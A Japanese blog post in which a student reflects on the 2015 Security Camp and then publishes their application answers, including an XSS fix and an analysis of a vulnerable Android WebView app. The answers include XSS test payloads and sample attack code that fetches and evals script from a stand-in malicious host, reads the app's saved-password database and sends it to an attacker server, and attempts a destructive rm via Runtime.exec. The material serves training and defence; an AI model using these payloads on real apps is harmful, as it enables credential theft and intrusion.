セキュリティ・キャンプ 全国大会 2015 に参加した感想

はじめに

参加しようと思った理由とかは応募用紙に書いていて、それはアップロードされているのでそこを読んでください。

概要

専門講義にしろ CTF にしろグループワークにしろ全般的に楽しめたので大体ポジティブな感情でいられました。1年間ずっとキャンプをしてたら流石に飽きてしまうかもしれませんがこの5日感は短く感じましたし今は少し寂しい気持ちもあります。

ただ、私は同じ趣味を持った友達があまりいないので、コンピュータに関して話せる友人などが出来たのは大きいかなあと思っていまし、今後もその人脈を途切れないようにしないといけないなあと思っています。

あとは時系列を追って感想を書きたいと思います。

1日目

お昼ごろ

会場についてまず受付をするわけですが、ロビーにインターネット上で見たいわゆるすごい人がウジャウジャ居て、夢のようでした。 そういう人たちの前でとても緊張しているわけですが、名刺交換をするのが慣習化しているようでしたので、それを口実に話しかけることが出来たのでいくらか積極的にいろんな人に話しかけることが出来ました。 普段は名刺交換とか面倒臭いんだろうなーと思っていましたが、話す口実としては便利だという認識が今はあります。セキュリティ・キャンプには人脈を作って欲しいという意図もあるようなので、コミュニケーションが苦手だけど嫌いじゃない私としては、この文化は続いてほしいと思います。

グループワーク

この段階では 4 つのテーマが講師陣から示され、どれかについて考えてねなどといった簡単な説明をされました。 僕はセキュアなものづくりというテーマを選びました。他のテーマとしては組織的反抗、情報収集、人材不足に関連したテーマだった気がするのですが詳しくは覚えてないです。

専門講義

前半に主にXSSに関しての座学の講義があって、後半はIEXSSにフィルターをバイパスするという演習を行いましたが、この時間帯に解けた人は誰も居ませんでした。 ただ、その夜には最初の正解者が出始めて非常に悔しい思いをしたことが記憶に残っています。自分はXSSくらいしか出来ないのにそれが出来なくてどうするんだよ、という思いがありました。 同時にそれなりな選考があるだけに講義のレベルは高く、頑張って応募用紙を書いたかいがあったなあとも思います。

2日目

専門講義

午前中から夕方にかけて SSL, TLS に関連した講義と HTTP2, QUIC に関連した講義を受けました。予習不足なのか解けなくて当然の難易度なのか分かりませんが、どちらも概要はなんとなく理解出来ましたが、詳細な理解は出来ていません。 SSL, TLS に関してはそれらを完璧に実装できるレベルまでとは言わずとも、安全に運用することが出来るようにはなるべきだと思いますし、少なくともそこまでは学習を続けていきたいと思います。 HTTP2, QUIC に関しては比較的身近な人がWebサーバを書いている雰囲気があって、やらなきゃいけないなーと思いつつも、やはり実装できる気はしません。これらに関してもいつこれらを使うべきでいつこれらを使うべきでないかを判断できる程度の知識はあるべきなんだろうと考えています。 夕方からはJavaScriptの難読化読経という講義を受けました。コレは僕が最も興味を持っていた2つの講義のうちの1つで、応募用紙にも難読化されたJavaScriptを読む方法について書きました。それが十分な予習となっていたようで座学自体はすんなりと頭に入っていきましたが、演習はそうは行きませんでした。結局4問中の1問しか解けずこれまた悔しい思いをしました。これは恐らく今は公開されていないのでリベンジできないのですが、もし機会があればまたチャレンジしたいと思います。今の気分としては難読化されたJavaScriptを読むというのはゲーム性が高く感じていますが、競技プログラミングやCTFのような環境はないので、寂しい思いをしています。ただ AltJS のデバッグは難読化されたJavaScriptの読経と変わらない場面もあると思うのでその時にはまたこの時のエキサイティングな気持ちを味わいたいと思います。 夜はWebプラットフォームのセキュリティという講義です。ここではWebブラウザに関連した機能などについてディスカッションを交えて学習をしました。ココで感じたのは、SOPの実装に一貫性が無かったり小さなAPIを追加するだけでも色々な制限を加えなければならなかったりで、想像以上にWebブラウザの開発にはリソースが足りてないんじゃないかということです。Webアプリの開発者としてはそんな複雑なWebブラウザをを理解しなければならないのに対して、僕の周りを見渡してみるとセキュリティに興味のなさそうなプログラマが多くてこの業界の雲行きの怪しさを感じていると同時に、我々がなんとかしなきゃならないのだなあと今は思っています。

グループワーク

この日はチーム名、問題点、目標などを決めました。私達は static 友利奈緒 というチーム名を決め 、回転寿司が善意のもとで提供されているのは危険だという問題を見つけ、セキュアな回転寿司を提供する方法を考えることを目標にしました。 友利奈緒を間違えて友利奈 と書き間違えて某チューターに渋い顔をされたことが記憶に残っています。

3日目

専門講義

午前中はHTTPプロキシに関する講義を受け、 Burp Suite を使ってHTTPのパケットを読んだり改ざんしてから送信したりしてました。Repeater と Decoder の存在を知ることも出来たのですが、GUIのアプリはなんとなくでも使えてしまうためかこういった便利機能を見逃してしまいやすいので、一度体系的に学び直す必要があるなあと感じています。前半は座学と簡単な実習だったのですが、後半はLAN内のWebアプリの脆弱性を探すということをやっていてこれまた大変エキサイティングでした。しかし最後の管理者権限を得るという問題に関してはAndroid版のアプリを使用しないと解けない問題だったのに対し、私の環境では特定の操作をするとそのAndoridアプリがクラッシュするという事案が発生していてつらい思いをしていました。 昼過ぎから夜にかけてはモバイルに関しての講義を受けていました。基本的にWebの外の話でILを読んだりOSの話であったりして詳細部分を理解するのは僕には困難でした。ただAndroidiOSサンドボックスの概念は概ね理解できたので、ここから掘り下げていって自分が理解できる範囲を明らかにしてきたいと思います。個人的にはTwitterクライアントを作っていてコンシューマキーなどをどのように配布するか悩んでいたので、メモリ上の値を操作されないようにするという話題には惹かれました。

CTF

夜はみんな大好きなCTFです。私はオンサイトの参加は初めてなので緊張すると同時に興奮していました。私の解けた問題としては各分野の10点の問題を6つ解いて60点、順位としては真ん中よりちょっとしただったと記憶しています。全体的にレベルが高い中でしたし妥当かなあという気持ちでしたが、Webの400点の問題が惜しいところまで行けたものの解けなかったのが非常に悔しいです。言い訳をすると jjencode された JavaScript を問題文から取得する段階があったのですが私はそのコードをコピペしたつもりでしたが、 console.log は長い文字列を出力すると省略されることを理解しておらず、一部分だけしかコピペしてませんでした。相変わらず詰めが甘いなあと思います。 今後は tductf, SANS NETWARS, SECCON などに参加してこの鬱憤を晴らしていこうと思います。

4日目

専門講義

午前中は最も興味を持っている講義の2つ目であるこれからのWebセキュリティという講義を受けました。概要としてはサーバサイドでのWAFに関連したセキュリティに関する座学を行い、クライアントサイドでのセキュリティの過去、現在、未来に関した座学を行い、最後に脆弱なアプリを修正するという実習を行いました。Mass Assignment の話では現実的で有効なセキュリティ業界の姿は正にこれだという感想を持ちました。恐らく全ての開発者がセキュリティに興味を持つ未来は来なくていくら素晴らしい書籍などが世に出回っても一定以上は脆弱なアプリは残り続ける。それをよりよくしたいならば、みんなが使いたくなるようなフレームワークや言語処理系をセキュアにする方が現実的なのではないかとい話を実現した例だなあと思っています。これは Closure Tools の話を聞いても同様な意見を持ちました。それでも新しい技術を学ぼうとしない人がいるのもきっと事実で、そのような人たちにどうアプローチするかというのも気になります。最近 Infer という静的にバグを検出するツールの存在を知ってコレがセキュリティ的な面でも存在すれば、既知の技術以外を使いたくない人でも幾らかセキュリティのことを気にしてくれるのだろうかという考えもありますが、果たしてそのような人がそういったツールを見つけてくれるのか、使ってくれるのかというのも悩ましいところであり、まだ答えは出なそうです。 午後はクラウドに関連したセキュリティに関する座学と実習を行いました。そもそもクラウドとは何かという基本的な話から開発者目線でも役に立つ話からクラウドで新たに出てきたセキュリティ的な問題点など幅広く知る機会を得られました。ただ後半の実習ではネットワークの障害で中途半端に終わってしまったという残念な状態なのでしっかり復習しておきたいと思います。

グループワーク

この日はグループワークの仕上げとなるわけですが、なかなか仕事が進まず苦い思いをしました。また、セキュアな寿司を提供するというテーマであったがゆえに高レイヤな話をすることが出来ずもどかしい思いもしました。ただ私は全ての講義で高レイヤのものを選択していたので他の分野の方々と交流出来たのは貴重な経験だったかなと思います。

5日目

グループワーク

私が担当した範囲の話としては、まずバックグラウンドとして従来の回転寿司はワサビや毒が注入される可能性があって危険だという話があります。そこで魚べいのように寿司を必要な人だけに高速に送信すればよいのではないか、そのレーンをガラス張りにして必要なときに必要なだけ開ければセキュアなのではないかといった話をざっくりとしました。 一部の講師陣から感想を聞く機会があり概ね好評だったようなので、それなりに考えたかいがあったなあと思います。

来年以降に関して

来年以降に参加してみようかと考えている人に向けた話をしようと思います。

一番大きいのは同じものに興味をもった人達が集まることではないかと思います。これはキャンプの始まりの際にも言われた話ではありますが、ただ講義をするだけでしたらオンラインでも十分行えるはずですし、実際に一部の資料はWebに公開されています。私はこのあたりのことを行うのに少し失敗してしまい、いろんな人と話す機会を逃してしまったような気がします。ただ、グループワークでは受講生同士だけでなく講師陣と話す機会も与えられるので、来年以降に参加される方々にはためらわずに講師陣と積極的に意見交換をするといいんじゃないかと伝えたいです。そうするとキャンプがより有意義なものになると思います。

最後に

キャンプを運営している方々、講師の方々、スポンサーの方々などにはとても感謝しています。私は彼らにも大きな投資をされているはずなので、この業界に自分なりのやり方で貢献をして恩返しをしていきたいと考えています。

また、一緒に議論や意見交換をしてくれた受講生の方々にも感謝をしていて私にとって貴重な刺激をさせていただきました。私は負けず嫌いなのでみなさんのお陰で今、とてもモチベーションが上がっています。私がどれだけ皆さんの役に立つかは分かりませんが、今後もみなさんとの関係を保ち続けていきたいと思っています。

まとまりませんが、以上を感想とさせていただきます。

セキュリティ・キャンプの応募用紙を晒す

概要

問題自体は http://www.ipa.go.jp/files/000045804.txt を参考にして下さい。 問題の番号は残しましたが、問題の本文は含まれていないので上記のURLと照らし合わせながら見ていただきたいです。

装飾などが多少変わっていますが、回答の本文は公開できない部分は無いのでそのままです。

共通問題1

応募した理由

正直に書くと主に2つの理由があります。

1つ目は技術力のある人が集まっている場所で学習をすることによって自分の技術力を高めたいという点があります。 やはり自分1人で本を読んだりするよりは、ある程度の他人と意見交換する機会や実践する機会があった方が技術力を高められると思うので、それを期待しているということでもあります。 そのような現実的な点を除いても、同年代の高い技術力を持った人と接するのはモチベーショの向上になりますし、やはり技術力の向上に役に立つと思います。

2つ目は、この問題を解く過程で知識を得ること期待していたという点や、選考を通過できるかどうか自分を試したいという意図があったことなど、問題自体にも興味がありました。 選択問題をひと通り解いた今としては、生涯やらないのでは無いかと思っていたアセンブラに触れる機会となったり、新しい脆弱性の存在を知れたり、実際に知識を得ることが出来ました。

その他、些細な理由としてはクラス制からトラック制に応募用紙も変わって個人的には問題用紙は解きやすくなったと感じていて、これなら自分でも出来ると思ったことや、来年からは学生ではなくなってしまうので最後のチャンスになんとしてでも参加したいと思った点などがあります。

何に役立てたいか

私はセキュリティにも興味がありますが、基本的には自分はプログラマだと認識しています。 なので、自分らが作るソフトウェアにセキュリティ上の問題を発生させないために、このキャンプで知識を身につけたいと思っています。

また、言語処理系や開発環境自体などの開発に特に興味があり、それらでセキュリティ的に問題のあるソースコードに対策できないかと思っています。 例えばAndroid Studioはセキュリティ的に問題のあるメソッドを呼び出した際には警告を表示してくれます。 このような機能を自分で作った言語に入れてみるのも面白そうではないかと考えています。 他にもPHPでのhtmlspecialcharactersやJavaScriptでのinnerHTMLなどが何の警告も無く使えることに疑問を持っています。 それらのAPIの使用に警告を出すようにメジャーな処理系を変更することは難しいかもしれませんが、そのようなトランスパイラを開発することは現実的で有意義に思えます。 そういった機能を正しく実装することにこのキャンプを役立てられるのではないかと考えます。

他にもセキュリティ的な観点を除いてもアプリケーションを開発する際に役に立つ講義があるように見えますし、それらを受講して開発者としての成長に役立てたいとも思います

共通問題2

在籍している学校の進級制作で作られたWebアプリにユーザのパスワードが平文でネットワークを流れる脆弱性があったことが最も印象に残っています。 印象に残っている理由を一言で言うと、自分が加害者として扱われる可能性のある初めての事案だからです。 詳細な話を以下に示します。 このシステムの制作には、静的なページを作るのに私も参加していました。 静的なページなので脆弱性があるコードには一切触れていないが、製作者として私の名前も載っています。 これを問題視していて私が脆弱性を作ったわけではないにも関わらず、私も加害者として扱われるだろうという点を懸念しています。 この段階でプログラマである以上、悪意はなくとも安全なアプリケーションを作る責任があると身を持って体験しました。

プログラマとして生きていく上で、加害者にならないためにも、同僚を加害者にしないためにも安全なアプリケーションを作る義務があるので、 その義務を果たすためにセキュリティの知識を得る必要性があると感じています。

共通問題3

http://lambdasawa.github.io/ このサイトに私が作ったものの簡単な紹介やGitHubと技術ブログへのリンクがあります。

まず、私の持っている技術力の説明です。

LispインタプリタCUI Twitterクライアントの開発を通じて基本的なプログラミングの能力を身につけました。 具体的には Ruby(Ruby on Railsは含まない) と Scala でのプログラミングが出来ます。

上記のリポジトリがそれらのソースコードとなっています。 他にも JavaScript, Java, C なども基本的な点は理解しています。 読むことは特に問題なく出来ると思いますが、ドキュメントを見ずにスラスラとコードを書くことは難しいです。

これらの開発も含めてLinuxをゲーム以外のほぼ全ての目的に使用しているので、これらの操作については問題ありません。 特に Lisp インタプリタの開発はドキュメントの参照以外をほぼ全て CLI で完結しています。

また、高校生の頃から競技プログラミングに参加しているのでアルゴリズムの基本的な知識もあります。 CodeforcesTopCoder はしていないのですが、目安としてはパソコン甲子園の本戦に出場しました。

ネットワーク、セキュリティに関しての基礎的な知識は情報セキュリティスペシャリスト試験を通じて身につけました。 その他のコンピュータの基礎的な知識を応用情報技術者試験などを通じて身につけました。

次に、興味や熱意についてアピールさせていただきたいと思います。

特に興味がある科目としては https://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015_truckA.html#trk5ahttps://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015_truckA.html#trk13&14a です。

前者に関して興味を持った理由を書きます。 まず私がもっとも興味を持っているものは言語処理系です。 なので AltJS のことなどを考えると恐らく私がセキュリティ界隈にコードを提供することになったらこの方面からになると思います。 そういう意味でコンピュータが生成した JavaScript とどう向き合っていくかという問題に興味があります。

後者に関しては前述しましたが、自分に関連のあるWebアプリに脆弱性があったことが今でもショックです。 そんなショックをもう2度と受けたくないというのも興味がある理由の1つです。 また、PHP が htmlspecialchars をつけるとエスケープされる、というような仕様も疑問です。 むしろデフォルトでエスケープされるようにして rowhtml のような名前のエスケープをしない関数を作るほうが良いのではないかと思います。 対して、Play Framework という Webアプリケーションフレーム でデフォルトに採用さている Twirl というテンプレートエンジンはそのようになっています。 http://www.tokumaru.org/d/20090930.htmlhttps://github.com/playframework/twirl/commits/master?page=5 を参考にすると、 htmlspecialchars が追加されたのが 1998/06/06 で Twirl の最初のコミットが 2013/08/12 です。 言語処理系に興味がある私としてはフレームワークも言語の一部であるという主張を踏まえると、興味深く思います。

また、普段の私は本やWebページを読んで学習していることがほとんどです。 ところが、 https://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015_faq.html#section7 を読んだところ、 手を動かせる人、周知する努力を出来る人を大切にしている、という記述を見つけました。 また、今までそれらをしていなかった人は今がチャンスだともあります。 なので現在は応募用紙を書く過程で手を動かした形跡を残し、学んだこと周知させるという目的でブログを書いています。 上記にもありますが、この応募用紙を書いている現在は非公開ですが、応募期間が終了したら公開します。

ここで、上記を踏まえると https://www.ipa.go.jp/jinzai/camp/2015/zenkoku2015_faq.html の 8番や14番の条件を満たしているので、 大丈夫で望ましい応募者だと言えます。

熱意というのは口ではなんとも言えるもので手を動かした量が実証するものだと思います。 なのでぜひ応募用紙やブログなどから判断していただきたいと思います。

選択問題3

どのようなソフトウェアであるかを教えてください

コマンドラインTwitterを行うためのCLIアプリケーションです。 どんな機能があるかは http://github.com/lambdasawa/ittc の README に記載されています。 基本的な機能以外では正規表現を登録して、その正規表現にマッチするツイートを表示しないようにする機能があります。

何の目的のためにそれを作ろうと思ったのか、理由を教えてください

自分にとって満足する CLITwitter クライアントを見つけられなかったので作りました。 具体的にはインタラクティブな操作が可能であったり、ユーザIDなどの補完をする操作が出来ないことが不満でした。

開発するにあたって工夫したところを教えてください

CLIでありながらも使い勝手の良さを実現するための細かい機能がいくつかあります。 (2) で書いた不満点はもちろん解消されています。 ツイートのIDを指定する際に連番だと入力が面倒くさいので、ツイートIDはそのハッシュ値を代わりに扱うようにしています。 また、補完に関しては途中までタイプしたものをタブキーで補完するのはもちろん、上下キーで履歴を遡ることもできます。 加えて、長いコマンドを打ちたくない人のためにサブコマンドのエイリアスを設定できます。

新たな課題、今後勉強してみたいと思っている内容を書いてください

テストが書かれていないので、開発が停滞しています。 なので、テストの追加や、テストをしやすい設計に変更することが新たな課題です。 現在はツイートIDのハッシュ値を利用している都合で、本来のツイートIDとそのハッシュ値の対応をローカルのDBに保存しています。 Base64などを扱って、ローカルにDBを持たずにハッシュ化ではなく可逆な処理で入力しやすいIDを生成したいです。 また、保持しているデータを現状はH2 Databaseで保存しているのでが、CLIで扱える簡単なテキストファイルで保存するようにしたいです。 また、TwitterAPIを叩くライブラリとCLIでの補完を実現するライブラリの2つに不満点があるので、それを解消することも課題と言えるかもしれません。 具体的には前者は一部に指定できないパラメータがある点、後者は全角文字列を入力する際にBSや十字キーを使うとカーソルがあらぬ方向に飛んでいくことなどが不満です。

今後、勉強してみたい内容としてはいわゆる関数プログラミングとOAuthなどの認証です。 ここでいう関数プログラミングとは副作用の少ないコードという程度の意味を指します。 現在は Scala で開発していて Java のライブラリを使っているのですが、せっかく Scala のような簡潔な記述が出来る言語を使っても、ライブラリがその習慣に対応していないため完結な記述が出来ない点が不満です。 それらを改善するためにラッパーを作ることになりますが、関数プログラミングを重視しているユーザからも扱い易いAPIを作りたいので、関数プログラミングを勉強したいという意図があります。 また TwitterAPI を叩くライブラリに関しては、1から自分で作ることも検討しているのですが、ユーザの認証の段階でセキュリティ的な問題を起こしたくないので、OAuthの体系的な知識が必要ではないかと感じています。

選択問題5 

(1)

arrayに配列を渡した場合、先頭からn個目の要素にn-1の倍数が代入される。 配列の要素数より大きい数のnを渡した場合は segmentation fault になる可能性がある。

void main() {
  int as[] = { 1, 1, 2, 3, 5 };
  int n = 100;
  function(as, n);
}

(2)

0 ~ 1

スタックに %esi と %ebx の値をプッシュしている。 これらが何を指すのかは分からない。

2 ~ 6

引数をレジスタにコピーしている。 %ebx に *array を、 %ecx に n をコピーしている。

a ~ c

i < n をチェックしている。 結果によって for の終わりにジャンプするように見える。 しかし、これは元のソースコードを見ての推測であって、アセンブラ自体は理解できない。 アセンブラを見ると、 %ecx <= %ecx なら 0x26 の位置にジャンプするのではないかと推測している。 この2つの推測が両立するとは思えず、あまり自身がない。

e

%esi に %ecx をコピーしている。 %ecx には n が記憶されているので、 %esi には n が入っていることになる。

10 ~ 15

%edx と %eax を 0で初期化している。 %edx は、i * n を計算するために、必要とされる。 %eax は i として扱われる。

1a ~ 24

ここが for 文の繰り返される部分となる。 1a の行で配列に事前に保存した %edx を経由して i * n を保存している。 1d の行では i++ を実行している。 20 の行では i * n を %edx に保存している。 22 ~ 24 の行によって比較、ジャンプが行われる。

26 ~ 27

最初にスタックに詰んだ、 %esi と %ebx の値をポップしている。 やはり、これらが何を指すのかは分からない。

28

関数を終了している。

選択問題9 

Dom Based XSS脆弱性があり、被害者の閲覧しているページが偽物のフォームに書き換えられ不正に個人情報を奪われたり、 cookie に保存されているセッションIDが盗まれてなりすましを行われる、などの問題が発生する可能性があります。

まず innerHTML は任意のタグを埋め込めるので危険です。 基本的に文字列を直接操作するより DOM を操作する API を活用していくべきです。 この例だと createElement, createTextNode, appendChild, setAttribute などが該当します。 なので URL の部分のみ createElement で a タグを作り、他の部分は createTextNode などを使ってをそれを appendChild などで追加していく方針に修正します。 これで a タグ以外のタグは注入されないことになります。

次に JavaScript を擬似プロトコルなどで a タグの href 属性に注入される危険性に対処します。 今回のケースでは2種類の対処法があります。 どちらの方法でも対処出来ますが、両方やっても問題はないので両方をやるのが無難だと思います。 1つ目は正規表現の1つ目のグループをプロトコルを指定するように修正することで対処できます。 これは特に解説する必要はないと思います。 2つ目は正規表現の3つ目のグループに U+2028 と U+2029 を追加することによっても回避することが出来ます。 以下で U+2028 と表記した際には U+2029 についても同様です。 U+2028 をエスケープする理由について、攻撃者の観点から考察します。 まず攻撃者は javascript:alert(1) というコードを注入しようと思いますが、これでは正規表現にマッチしません。 なので javascript://alert(1) というコードを注入しようとします。 しかしこれは // でコメントすることになるので alert(1) は実行されません。 コメントアウトを解除しようにも正規表現の3つ目のグループで \r\n が指定されているため改行文字は弾かれてしまいます。 なので JavaScript で改行として扱わる、かつ正規表現の3つ目のグループでマッチしない U+2028 を // の直後に挿入します。 そうすることでコメントアウトを回避して JavaScript のコードを注入することが出来ます。 この攻撃を回避するために U+2028 を受け付けてはいけません。

次に a タグに href 以外の属性が設定されて JavaScript が実行される危険性について対処します。 これも基本的には setAttribute を使うべきです。 あるいは href 属性をダブルクオーテーションで括り、属性内に引用符が含まれないすることが必要です。 また、その対策を破られないように属性内で特殊な意味を持つ文字をエスケープすることによって対処できます。 主に " と & をエスケープする必要があります。 ただ、IEではバッククオートが引用符として扱われるケースがあるので、バッククオートも3つ目の正規表現に追加するべきかと思います。 しかし、今回のケースでは正規表現にマッチしないので属性に不正な値が入ることはありません。

以上を踏まえて、実際に修正したコードは以下のようになります。

function makeUrlLinks(text) {
  var output = document.getElementById('output');
  output.innerHTML = "";
  // split でマッチする部分としない部分にするために全体を () で括っている。
  var regexp = /(https?:\/\/[\w\.\-]+\/[^\r\n \t\u2028\u2029<>"'`]*)/g;
  var inners = text.split(regexp);
  for (var inner of inners) {
    if (regexp.test(inner)) {
      var a = document.createElement("a");
      a.setAttribute("href", inner);
      var ai = document.createTextNode(inner);
      a.appendChild(ai);
      output.appendChild(a);
    } else {
      var t = document.createTextNode(inner);
      output.appendChild(t);
    }
  }
}

上記の修正で以下のような文字列を引数に渡しても問題が alert されないことを Firefox 38 で確認しました。

  1. <iframe src='http://example.com' onload='alert(1);'></iframe>
  2. <img src='x' onerror='alert(2);'></img>
  3. <script defer='defer'>alert(3);</script> // IE 以外では問題なし
  4. javascript://something-string/
alert(4); // 0x2028 が混じっている

選択問題10 

JavaScriptでの文字列の難読化の手法

主に難読化された JavaScript の読み方について書こうと思います。

まず文字種を見て有名なエンコーダを使ったかどうかを判断します。 恐らく有名なエンコーダであれば、デコーダを誰かが開発している可能性があり、それを使うだけで済みます。 具体的には下記のようなエンコーダとデコーダを発見しました。

また、minify されたコードであればツールを使用し整形を行います。 例えば Firefox では Developer Tools を起動し Debugger タブに移動し {} と書かれたボタンを押すことで、 現在のページに含まれるJSを整形できます。

文字列、数値、論理値を素直にリテラルを使わずに書く方法が多数あり、それらを置換していくことも必要になるかと思います。 それらについてまとまっている情報として以下のリンクを参照しつつ分かりやすいリテラルに単純に置換できると思います。

また、 eval に関してもまわりくどい呼び出し方が多数あり置換する必要があるように思えます。

これらは静的にソースコードを解析する例ですが、動的に解析する方法についても調べてみました。 例えば下記のようなコードによって eval の呼び出しを捕捉できます。

var f = eval;
eval = function (source) {
  console.log(this, arguments);
  return f.apply(this, arguments);
}

これによって JavaScriptソースコードを文字列で組み立てながら eval するようなものを簡単に解析できます。 これはもちろん eval 以外にも応用することが可能だと思います。

選択問題14 

主に

  • 外部からスクリプトを注入できることと、
  • そのスクリプトがインストール済みのアプリ一覧などのブラウザの外の情報にこのアプリの権限でアクセスできる

という問題があります。 これは主に webview.getSettings().setJavaScriptEnabled(true); というコードと、 CVE-2012-6636 の行によって発生します。

スクリプトを注入する方法について書きます。

まず、 CVE-2014-3500 の行を見ると外部からインテントで任意のページを渡せることが分かります。 CVE-2012-6637 の行でオリジンをチェックしているように見えますが正規表現にミスがあるため、 クエリストリングなどに ALLOW_ORIGIN を追加すれば特に問題はありません。

// 外部のアプリからインテントを発行して任意のサイトにアクセスさせる例。
final String ACTION_LOAD = "jp.example.app.action.LOAD";
final String ALLOW_ORIGIN = "http://www.ipa.go.jp";
final String MALCIOUS_SITE = "http://example.com"
final Intent intent = new Intent(ACTION_LOAD);
intent.putExtra("url", MALCIOUS_SITE + "?" + ALLOW_ORIGIN);
sendBroadcast(intent);

また、 CVE-2014-1883 の行に関してですが、 iframe や XMLHttpRequest は shouldOverrideUrlLoading を経由しないので、 そもそもオリジンをチェックしていないことが分かります。 ALLOW_ORIGIN 内に iframe があり、iframe からリンクを辿れる場所に任意のスクリプト設置できるとすろと、 そこに悪意のあるスクリプトを設置し、待ち伏せすることが出来そうです。 XMLHttpRequest に関しては、スクリプトを任意のサーバに設置し、 XMLHttpRequestで取得し eval することなどが出来ます。

// http://example.com に悪意のあるスクリプトが設置してあると仮定して、
// 外部のスクリプトを eval する例。
var malciousSite = "http://example.com";
var xhr = new XMLHttpRequest();
xhr.open("GET", malciousSite, false);
xhr.send(null);
var script = xhr.responseText;
eval(script);

加えて、 CVE-2014-5991 の行によって SSL のエラーを無視しているため DNS 偽装と正しくない証明書などを使って、 ALLOW_ORIGIN になりすますことも可能です。

注入したスクリプトによってどんな被害が生じるかについて書きます。 基本的に JavaScript で出来ることは何でも出来ます。 JavaScript だけでは出来ないことの例としてローカルのファイルにアクセスすることがありますが、 CVE-2012-4009 の行によってローカルのファイルにこのアプリの権限でアクセスできます。 よって、意図せぬファイルが外部のサーバに送信される可能性などがあります。 下記でいくつかコードの例を示すが、 sendDataToServerOfAtaccker という関数は、 文字列を攻撃者のサーバに送信する関数とします。 ここで、 Same Origin Policy の影響を受けるので、スクリプトはローカルか攻撃者のサーバにあるものとします。

// このアプリのパッケージが com.example.lambdasawa.seccamp だと仮定して、
// /data/data/com.example.lambdasawa.seccamp/databases/webview.db を外部のサーバに送信する例。
// このファイルには WebView で保存したパスワードなどが平文で保存されている。
var file = "file:///data/data/com.example.lambdasawa.seccamp/databases/webview.db"
var xhr = new XMLHttpRequest();
xhr.open("GET", file, false);
xhr.send(null);
var cache = xhr.responseText;
sendDataToServerOfAtaccker(cache);

また、下記のようなJavaScriptを実行させることで、インストール済みのアプリ一覧を漏洩させることが出来ます。

var ia = android.getPackageManager().getInstalledApplications(9344);
var apps = [];
for (var x = 0; x < ia.size(); x++) {
  sendDataToServerOfAtaccker(ia.get(x));
}

他にもリフレクションを経由して java.lang.Runtime を取得し、 exec メソッドを呼び出すことで OS コマンドインジェクションが出来るのではないかと考えました。 しかし、下記のコードでは上手くいかず、実際にコマンドを注入させる方法は分かりませんでした。

var command = "rm /data/data/com.example.lambdasawa.seccamp/files/critical_data";
var class_ = android.getClass();
var runtimeClass = class_.forName("java.lang.Runtime");
var runtime = runtimeClass.getRuntime();
runtime.exec(command, null, null);